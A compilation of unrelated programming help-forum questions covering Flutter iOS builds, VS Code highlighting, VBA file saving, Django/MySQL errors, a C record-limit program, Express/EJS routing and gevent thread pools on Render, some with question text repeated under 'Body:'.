I am developing a flutter app and running on iOS Simulator works fine in Android Studio, and it works well when building from terminal flutter build ios. But when I try to build from xCode (so I can create an archive and release the app), I get this error:

Module 'connectivity_plus' not found

I used to use connectivity, and then the error was Module 'connectivity' not found.

I have found some similar questions, but none of the suggested answers worked for me. I have tried:

flutter clean
rm -rf /ios/Pods
rm -rf /ios/Podfile
rm -rf /ios/Podfile.lock
flutter pub get
cd ios
pod install

I uncomment this line in Podfile:

platform :ios, '13.0'

That is the iOS Deployment Target as well, so they match.

flutter build ios

That works ok, but when I open Runner.xcworkspace in xCode and build, I get the same error. What am I doing wrong?


问:
Force highlighting for JS Code in HTML Document outside of script tags
I did a little project that makes it possible to write JS code in the HTML body, that can interact with the HTML tags such as this:

```<code><body>
  var h = "hello";
  if(h == "hello") {
    <p>True!</p>
  } else {
    <p>False!</p>
  }
<body>
</code>```

In this case only the True!would be displayed.

And it works well, but the JS code is not highlighted as it would be in a .js file or in a script tag.
I found on GitHub VS Code Extensions that format and highlights html code in a string in a js file, and I guess the dev didn't rewrite the whole intellisense and stuff like that because it would not match themes and could be in conflict with other extensions, so I guess it's possible to do it.

He brought html to js, and I want to do the opposite. Here's the GitHub of the extension: https://github.com/mjbvz/vscode-lit-html

I looked for it but I didn't find any extension that makes what I want to do, I shared my project on GitHub but if it's not highlighted and there's no autocompletion it's not as relevant as it was to me.

Do you know an extension that may do something like this, or maybe VS Code has an option for this?

Body:
I did a little project that makes it possible to write JS code in the HTML body, that can interact with the HTML tags such as this:

  var h = "hello";
  if(h == "hello") {

True!

  } else {

False!

  }

In this case only the True!would be displayed.

And it works well, but the JS code is not highlighted as it would be in a .js file or in a script tag.
I found on GitHub VS Code Extensions that format and highlights html code in a string in a js file, and I guess the dev didn't rewrite the whole intellisense and stuff like that because it would not match themes and could be in conflict with other extensions, so I guess it's possible to do it.

He brought html to js, and I want to do the opposite. Here's the GitHub of the extension: https://github.com/mjbvz/vscode-lit-html

I looked for it but I didn't find any extension that makes what I want to do, I shared my project on GitHub but if it's not highlighted and there's no autocompletion it's not as relevant as it was to me.

Do you know an extension that may do something like this, or maybe VS Code has an option for this?


问:
Creating new dynamic folders and generating dynamic file names
I'm trying to utilize VBA to generate a file path that is relevant to content within a presentation. I have presentations that are created and when ready, they need a unique folder and name.

Ideally, I'd like to create a custom file path that starts at (C:\DSS_Test\Starting_folder), where the company name would be added to the folder path. Within that folder path, it would have the file name with the company name and case. So, it would be something like \Customer\Customer_Name-Case_Number.pptm.

This unique info is pulled from two separate text boxes on the same slide.  I also need to be able to account for any spaces/characters for saving purposes.

I feel like I'm in over my head, as I cannot seem to get off the ground. I've scoured through various forums and can't seem to find what I'm looking for. Here's what I have below. It errors out at the .value  within the last line, giving a compile error: method or data member not found. This makes me think that the path is incorrect as well. ANY help would be greatly appreciated!!

```<code>Sub Save()
Dim objPresentation As Presentation
Dim objSlide1 As Slide
Dim objTextBox1 As Shape

Dim objSlideA As Slide
Dim objTextBoxA As Shape
Dim objTextBoxB As Shape

Set objPresentation = ActivePresentation
Set objSlide1 = objPresentation.Slides("Coverletter")
Set objTextBox1 = objSlide1.Shapes.Item("TextBox3")

Set objSlideA = objPresentation.Slides("Infokey")
Set objTextBoxA = objSlideA.Shapes.Item("dsscust1stname")
Set objTextBoxB = objSlideA.Shapes.Item("case")
Dim Path As String

Path = "C:\DSS Test\Starting folder\.SaveAs objTextBoxA.Value & objTextBoxB.Value"

MkDir Path

With Application.ActivePresentation
    .SaveAs objTextBoxA.Value & objTextBoxB.Value

End Sub
</code>```

Body:
I'm trying to utilize VBA to generate a file path that is relevant to content within a presentation. I have presentations that are created and when ready, they need a unique folder and name.

Ideally, I'd like to create a custom file path that starts at (C:\DSS_Test\Starting_folder), where the company name would be added to the folder path. Within that folder path, it would have the file name with the company name and case. So, it would be something like \Customer\Customer_Name-Case_Number.pptm.

This unique info is pulled from two separate text boxes on the same slide.  I also need to be able to account for any spaces/characters for saving purposes.

I feel like I'm in over my head, as I cannot seem to get off the ground. I've scoured through various forums and can't seem to find what I'm looking for. Here's what I have below. It errors out at the .value  within the last line, giving a compile error: method or data member not found. This makes me think that the path is incorrect as well. ANY help would be greatly appreciated!!

Sub Save()
Dim objPresentation As Presentation
Dim objSlide1 As Slide
Dim objTextBox1 As Shape

Dim objSlideA As Slide
Dim objTextBoxA As Shape
Dim objTextBoxB As Shape

Set objPresentation = ActivePresentation
Set objSlide1 = objPresentation.Slides("Coverletter")
Set objTextBox1 = objSlide1.Shapes.Item("TextBox3")

Set objSlideA = objPresentation.Slides("Infokey")
Set objTextBoxA = objSlideA.Shapes.Item("dsscust1stname")
Set objTextBoxB = objSlideA.Shapes.Item("case")
Dim Path As String

Path = "C:\DSS Test\Starting folder\.SaveAs objTextBoxA.Value & objTextBoxB.Value"

MkDir Path

With Application.ActivePresentation
    .SaveAs objTextBoxA.Value & objTextBoxB.Value

End Sub


问:
Can I modify the email template to sendSignInLinkToEmail?
I can't find this template.
I already found the other templates for password recovery and email verification.
Thank you!

Read all documentation and couldn't find it.


问:
Referencing data of parent in nested template with data-bind, scryber.core
I'm using scryber.core to generate a PDF doc.

I'd like to run two templates with data-binding, one within the other.
Within the child template, I need to reference the parent scope.  I can't see how to do this.

Any ideas?
Can I name the scopes and somehow use something other than the {@:} syntax?  I see reference to {item:} syntax in the scryber docs, but I can't find anything more on it or if its usable in this situation.

Here's part of the template:

```<code>    <template data-bind='{{model.transactions}}'>
        <tr>
            <td>{{.number}}</td>
            <td>{{.site_id}}</td>
            <td>{{.date_time}}</td>
            <td>{{.date_time_out}}</td>
            <template data-bind="{{model.columns}}">
                <td>
                    {{@:parent/ValueForRefWithName(.refTemplate)}}
                </td>
            </template>
            <td>{{.vehiclePlate}}</td>
            <td>{{.customerName}}</td>
            <td>{{.productName}}</td>
</code>```

What I'm wanting to do is insert some dynamic columns.
For each of these, I want to call a method ValueForRefWithName on the parent Transaction object, passing the current column.refTemplate value to that method.

The above of couse doesn't actually work,  Im making it all up to try to express what I'd like to do.

References:

@ and item: syntax: "When referring to a parameter within your document template use the @: binding syntax (or item: syntax) e.g. {@:MyParamName} " https://scrybercore.readthedocs.io/en/latest/1_overview/7_parameters_and_expressions.html

Body:
I'm using scryber.core to generate a PDF doc.

I'd like to run two templates with data-binding, one within the other.
Within the child template, I need to reference the parent scope.  I can't see how to do this.

Any ideas?
Can I name the scopes and somehow use something other than the {@:} syntax?  I see reference to {item:} syntax in the scryber docs, but I can't find anything more on it or if its usable in this situation.

Here's part of the template:

    <template data-bind='{{model.transactions}}'>

            {{.number}}
            {{.site_id}}
            {{.date_time}}
            {{.date_time_out}}
            <template data-bind="{{model.columns}}">

                    {{@:parent/ValueForRefWithName(.refTemplate)}}

            </template>
            {{.vehiclePlate}}
            {{.customerName}}
            {{.productName}}

What I'm wanting to do is insert some dynamic columns.
For each of these, I want to call a method ValueForRefWithName on the parent Transaction object, passing the current column.refTemplate value to that method.

The above of couse doesn't actually work,  Im making it all up to try to express what I'd like to do.

References:

@ and item: syntax: "When referring to a parameter within your document template use the @: binding syntax (or item: syntax) e.g. {@:MyParamName} " https://scrybercore.readthedocs.io/en/latest/1_overview/7_parameters_and_expressions.html


问:
AD Profile Logon drive map script not running
Basic bat file to net use network drives isn't working.

I can UNC to \server\netlogon and run the script and it works fine.

Manually changed the script to output text and pause to test if it was actually working and failing for some reason but nothing happened. I can UNC to \server\netlogon and run the script and it works fine.


问:
django.db.utils.OperationalError: (2013, 'Lost connection to MySQL server during query')
I create a django app to shared hosting. Everything is good but when i came to createsuperuser i see this problem...

I made lots of things, i increased connect timeout and read timeout but nothing changed.
How can i solve this?

i made connect_timeout=100000,
i made read_timeout=120,

i tried to shell for create super user, i wrote username, no error, i wrote email, no error, i wrote pass and i got this error....


问:
About the project generator-jhipster-flutter
This generator is not inside the official JHipster GitHub, does anyone know why?</p>


问:
How to add limited number of vehicle in my file
just want to add for example 5 vehicles to my file if it's more than that, the program should give a message that the registry is full.

```<code>void add_vehicle(){

    char another;
    FILE *fp;
    int n,i;
    struct vehicle info;
    do{

        printf("\t\t\t\t=======Add vehicle Info=======\n\n\n");
        fp=fopen("information.txt","a");

        printf("\n\t\t\tEnter Owner name :");

        scanf("%s",info.owner);

        printf("\n\t\t\tEnter vehicle-No :");
        scanf("%d",&info.car_no);

        printf("\n\t\t\tEnter age : ");
        scanf("%d",&info.age);

        printf("\n\t\t\tEnter vehicle type : ");

        scanf("%s",info.car_type);
        printf("\n\t\t\tEnter vehicle mark : ");

        scanf("%s",info.car_mark);
        printf("\n\t\t\tEnter registration nummber : ");

        scanf("%s",info.car_registration);

        printf("\n\t\t\t______________________________\n");

    if(fp==NULL){
        fprintf(stderr,"can't open file");
    }
    else{
        printf("\t\t\tRecord stored successfuly\n");
    }

    fwrite(&info, sizeof(struct vehicle), 1, fp);

    fclose(fp);

}

</code>```

I don't have any idea if I should use a while loop or if statement and how in that case.

Body:
just want to add for example 5 vehicles to my file if it's more than that, the program should give a message that the registry is full.

void add_vehicle(){

    char another;
    FILE *fp;
    int n,i;
    struct vehicle info;
    do{

        printf("\t\t\t\t=======Add vehicle Info=======\n\n\n");
        fp=fopen("information.txt","a");

        printf("\n\t\t\tEnter Owner name :");

        scanf("%s",info.owner);

        printf("\n\t\t\tEnter vehicle-No :");
        scanf("%d",&info.car_no);

        printf("\n\t\t\tEnter age : ");
        scanf("%d",&info.age);

        printf("\n\t\t\tEnter vehicle type : ");

        scanf("%s",info.car_type);
        printf("\n\t\t\tEnter vehicle mark : ");

        scanf("%s",info.car_mark);
        printf("\n\t\t\tEnter registration nummber : ");

        scanf("%s",info.car_registration);

        printf("\n\t\t\t______________________________\n");

    if(fp==NULL){
        fprintf(stderr,"can't open file");
    }
    else{
        printf("\t\t\tRecord stored successfuly\n");
    }

    fwrite(&info, sizeof(struct vehicle), 1, fp);

    fclose(fp);

}

I don't have any idea if I should use a while loop or if statement and how in that case.


问:
Would it run into issues if I created an API using Express and had the views in the same folder (rendered with EJS)?
I'm building a personal project and I'd like to have a REST API that sends JSON. But for the v1 of the app, I'm also planning in using EJS to render the views. Would I run into any issues if I had two routes (one for json and one for views) listening in to the same port?

So far I've started the API so I'm looking ahead to the next few days when I run into this issue. I suppose that if the api routes are 'domain.com/api/whatever' and the view routes are something else 'domain.com/app/whatever' there shouldn't be an issue?

I haven't been able to find a standard solution when you want a REST API and rendered views in the same project.


问:
RecursionError with Thread Pool Executor on render.com (solved but have further question)
I want to use Thread Pool Executor to concurrently fetch quote prices in a flask app. The main reason of using threadpool is to speed up, since the number of quotes are 10~30. The web server I am using is render. However, I keep getting this Recursion Error: RecursionError: maximum recursion depth exceeded while calling a Python object

Here's the part of the code that are relevant:

```<code>from bs4 import BeautifulSoup
import requests
from gevent.threadpool import ThreadPoolExecutor

def get_yahoo_price(code):
    response = requests.get("https://tw.stock.yahoo.com/quote/" + code)
    soup = BeautifulSoup(response.text, "lxml")
    price = soup.find('span', class_ = "Fz(32px)").getText()
    return float(price)

## the part in my flsak app that used threadpoolexecutor
with ThreadPoolExecutor(max_workers=10) as executor:
    result = executor.map(get_yahoo_price, codes)
</code>```

Procfile:

```<code>web: gunicorn app:app
</code>```

Start command

```<code>gunicorn app:app --workers 3 --worker-class gevent --timeout 60
</code>```

Render's doc says app will be using shared cpu on free plan. I am not sure about if it would affect, nor the correct way to implement a multithread program online. How should I config it in order to make it work?

Edit:

I stumbed upon this post and solved my issue. My solution is as follow:

from from gevent.threadpool import ThreadPoolExecutor to from concurrent.futures import ThreadPoolExecutor

add a config.py at my root directory

```<code># config.py

import gevent.monkey
gevent.monkey.patch_all()

workers = 5
</code>```

changed my start command to gunicorn --config config.py --worker-class gevent --preload --timeout 60 app:app

But it's still kind of slow. This process took about 20s on the server, where my laptop took only 3s.

My further question is: Is there anything that can be improved? I already tried changing workers in config.py, or max_workers in ThreadPoolExecutor, but it performs the same.

Body:
I want to use Thread Pool Executor to concurrently fetch quote prices in a flask app. The main reason of using threadpool is to speed up, since the number of quotes are 10~30. The web server I am using is render. However, I keep getting this Recursion Error: RecursionError: maximum recursion depth exceeded while calling a Python object

Here's the part of the code that are relevant:

from bs4 import BeautifulSoup
import requests
from gevent.threadpool import ThreadPoolExecutor

def get_yahoo_price(code):
    response = requests.get("https://tw.stock.yahoo.com/quote/" + code)
    soup = BeautifulSoup(response.text, "lxml")
    price = soup.find('span', class_ = "Fz(32px)").getText()
    return float(price)

## the part in my flsak app that used threadpoolexecutor
with ThreadPoolExecutor(max_workers=10) as executor:
    result = executor.map(get_yahoo_price, codes)

Procfile:

web: gunicorn app:app

Start command

gunicorn app:app --workers 3 --worker-class gevent --timeout 60

Render's doc says app will be using shared cpu on free plan. I am not sure about if it would affect, nor the correct way to implement a multithread program online. How should I config it in order to make it work?

Edit:

I stumbed upon this post and solved my issue. My solution is as follow:

from from gevent.threadpool import ThreadPoolExecutor to from concurrent.futures import ThreadPoolExecutor

add a config.py at my root directory

# config.py

import gevent.monkey
gevent.monkey.patch_all()

workers = 5

changed my start command to gunicorn --config config.py --worker-class gevent --preload --timeout 60 app:app

But it's still kind of slow. This process took about 20s on the server, where my laptop took only 3s.

My further question is: Is there anything that can be improved? I already tried changing workers in config.py, or max_workers in ThreadPoolExecutor, but it performs the same.